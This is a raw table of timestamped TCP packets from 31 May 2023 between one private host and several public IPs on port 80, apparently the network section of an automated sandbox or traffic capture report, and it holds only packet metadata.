May 31, 2023 14:51:01.922702074 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.922732115 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.922768116 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.922810078 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.931535959 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.931571007 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.931665897 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.940363884 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.940397978 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.940455914 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.940500021 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.983994961 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.984034061 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.984059095 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.984086990 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.984113932 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.984139919 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.984162092 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.984179974 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.984199047 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.984216928 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.984235048 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.984251022 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.984255075 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.984288931 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.984307051 CEST	80	50054	104.218.10.254	192.168.2.3
May 31, 2023 14:51:01.984318972 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.984348059 CEST	50054	80	192.168.2.3	104.218.10.254
May 31, 2023 14:51:01.991749048 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.991782904 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.991944075 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.991990089 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.995790005 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.995821953 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:01.995978117 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:01.996021032 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:02.003813982 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:02.003849030 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:02.004008055 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:02.004051924 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:02.005719900 CEST	80	50037	96.127.180.42	192.168.2.3
May 31, 2023 14:51:02.005780935 CEST	50037	80	192.168.2.3	96.127.180.42
May 31, 2023 14:51:02.011889935 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:02.011923075 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:02.012160063 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:02.019876957 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:02.019912004 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:02.020133972 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:02.027959108 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:02.027995110 CEST	80	50053	74.208.236.101	192.168.2.3
May 31, 2023 14:51:02.028206110 CEST	50053	80	192.168.2.3	74.208.236.101
May 31, 2023 14:51:02.154231071 CEST	49773	80	192.168.2.3	93.187.206.66
May 31, 2023 14:51:02.155461073 CEST	50056	80	192.168.2.3	93.187.206.66
May 31, 2023 14:51:02.239916086 CEST	80	49773	93.187.206.66	192.168.2.3
May 31, 2023 14:51:02.241091967 CEST	80	50056	93.187.206.66	192.168.2.3
May 31, 2023 14:51:02.244833946 CEST	50056	80	192.168.2.3	93.187.206.66
May 31, 2023 14:51:02.245318890 CEST	50056	80	192.168.2.3	93.187.206.66
May 31, 2023 14:51:02.331115007 CEST	80	50056	93.187.206.66	192.168.2.3
May 31, 2023 14:51:02.331159115 CEST	80	50056	93.187.206.66	192.168.2.3
May 31, 2023 14:51:02.331372023 CEST	50056	80	192.168.2.3	93.187.206.66
May 31, 2023 14:51:02.413899899 CEST	50057	80	192.168.2.3	157.112.176.4
May 31, 2023 14:51:02.473679066 CEST	50058	80	192.168.2.3	96.91.204.114
May 31, 2023 14:51:02.537467003 CEST	50006	80	192.168.2.3	193.166.255.171
May 31, 2023 14:51:02.568665028 CEST	50010	80	192.168.2.3	210.140.73.39
May 31, 2023 14:51:02.697671890 CEST	80	50057	157.112.176.4	192.168.2.3
May 31, 2023 14:51:02.697823048 CEST	50057	80	192.168.2.3	157.112.176.4
May 31, 2023 14:51:02.698636055 CEST	50057	80	192.168.2.3	157.112.176.4
May 31, 2023 14:51:02.982548952 CEST	80	50057	157.112.176.4	192.168.2.3
May 31, 2023 14:51:03.051568031 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.070959091 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.071191072 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.071633101 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.090975046 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.105957985 CEST	80	50057	157.112.176.4	192.168.2.3
May 31, 2023 14:51:03.106234074 CEST	50057	80	192.168.2.3	157.112.176.4
May 31, 2023 14:51:03.217433929 CEST	80	50044	3.65.101.129	192.168.2.3
May 31, 2023 14:51:03.217672110 CEST	50044	80	192.168.2.3	3.65.101.129
May 31, 2023 14:51:03.243479013 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.243530989 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.243551016 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.243566990 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.243726015 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.243765116 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.271267891 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.271311998 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.271332026 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.271346092 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.271450996 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.271531105 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.271584988 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.271584988 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.271651983 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.271651983 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.271724939 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.271775007 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.271835089 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.271889925 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.271956921 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.271994114 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.272068024 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.291884899 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.291932106 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.291945934 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.292013884 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.292136908 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.292155981 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.292220116 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.292253971 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.292332888 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.292341948 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.292401075 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.292459011 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.292512894 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.292581081 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.292629957 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.292685986 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.292737961 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.292824030 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.292877913 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.292918921 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.292974949 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.292999983 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.293051958 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.293184042 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.293236971 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.293256998 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.293315887 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.293339968 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.293395042 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.293459892 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.293509007 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.293581009 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.293647051 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.293648958 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.293701887 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.293812990 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.293870926 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.311749935 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.311790943 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.311804056 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.311870098 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.311983109 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.311999083 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.312043905 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.312108994 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.312144041 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.312189102 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.312217951 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.312287092 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.312342882 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.312392950 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.312442064 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.312553883 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.312607050 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.312618971 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.312669992 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.312735081 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.312787056 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.312832117 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.312885046 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.312942028 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.312992096 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.313036919 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.313086987 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.313143969 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.313195944 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.313309908 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.313380003 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.313383102 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.313433886 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.313494921 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.313548088 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.313617945 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.313669920 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.313684940 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.313743114 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.313823938 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.313879013 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.313924074 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.313975096 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.314096928 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.314165115 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.314220905 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.314264059 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.314285040 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.314330101 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.314382076 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.314441919 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.314456940 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.314516068 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.314558029 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.314619064 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.314702988 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.314758062 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.314764023 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.314819098 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.314877033 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.314939976 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.315073013 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.315094948 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.315145969 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.315184116 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.315227032 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.315279007 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.315336943 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.315391064 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.315464973 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.315527916 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.315587997 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.315648079 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.315700054 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.315762043 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.315787077 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.315845013 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.332024097 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.332072973 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.332087994 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.332107067 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.332120895 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.332182884 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.332310915 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.332416058 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.332417011 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.332503080 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.332531929 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.332617998 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.332791090 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.332817078 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.332844019 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.332855940 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.332882881 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.332895994 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.333188057 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.333214998 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.333235025 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.333259106 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.333287954 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.333297968 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.333339930 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.333390951 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.333391905 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.333427906 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.333467960 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.333518028 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.333594084 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.333647013 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.333724022 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.333779097 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.333833933 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.333885908 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.333935022 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.333986044 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.334075928 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.334127903 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.334155083 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.334199905 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.334274054 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.334330082 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.334388971 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.334433079 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.334481001 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.334523916 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.334570885 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.334635019 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.334690094 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.334741116 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.334790945 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.334841013 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.334925890 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.334975958 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.335047960 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.335103989 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.335158110 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.335211992 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.335236073 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.335278988 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.335397959 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.335452080 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.335510969 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.335561991 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.335596085 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.335650921 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.335719109 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.335773945 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.335827112 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.335876942 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.335927010 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.335975885 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.335983992 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.336024046 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.336158037 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.336214066 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.336231947 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.336282969 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.336405993 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.336462975 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.336502075 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.336544037 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.336558104 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.336585045 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.336678028 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.336736917 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.336791992 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.336846113 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.336880922 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.336958885 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.336991072 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.337040901 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.337071896 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.337140083 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.337191105 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.337244034 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.337300062 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.337349892 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.337400913 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.337451935 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.337551117 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.337604046 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.337625980 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.337678909 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.337771893 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.337825060 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.337832928 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.337873936 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.338011980 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.338033915 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.338067055 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.338090897 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.338176012 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.338228941 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.338283062 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.338334084 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.338387012 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.338437080 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.338507891 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.338562012 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.338582993 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.338634968 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.338726044 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.338781118 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.338836908 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.338888884 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.338951111 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.339001894 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.339035988 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.339088917 CEST	50059	80	192.168.2.3	62.75.216.137
May 31, 2023 14:51:03.339153051 CEST	80	50059	62.75.216.137	192.168.2.3
May 31, 2023 14:51:03.339205027 CEST	50059	80	192.168.2.3	62.75.216.137
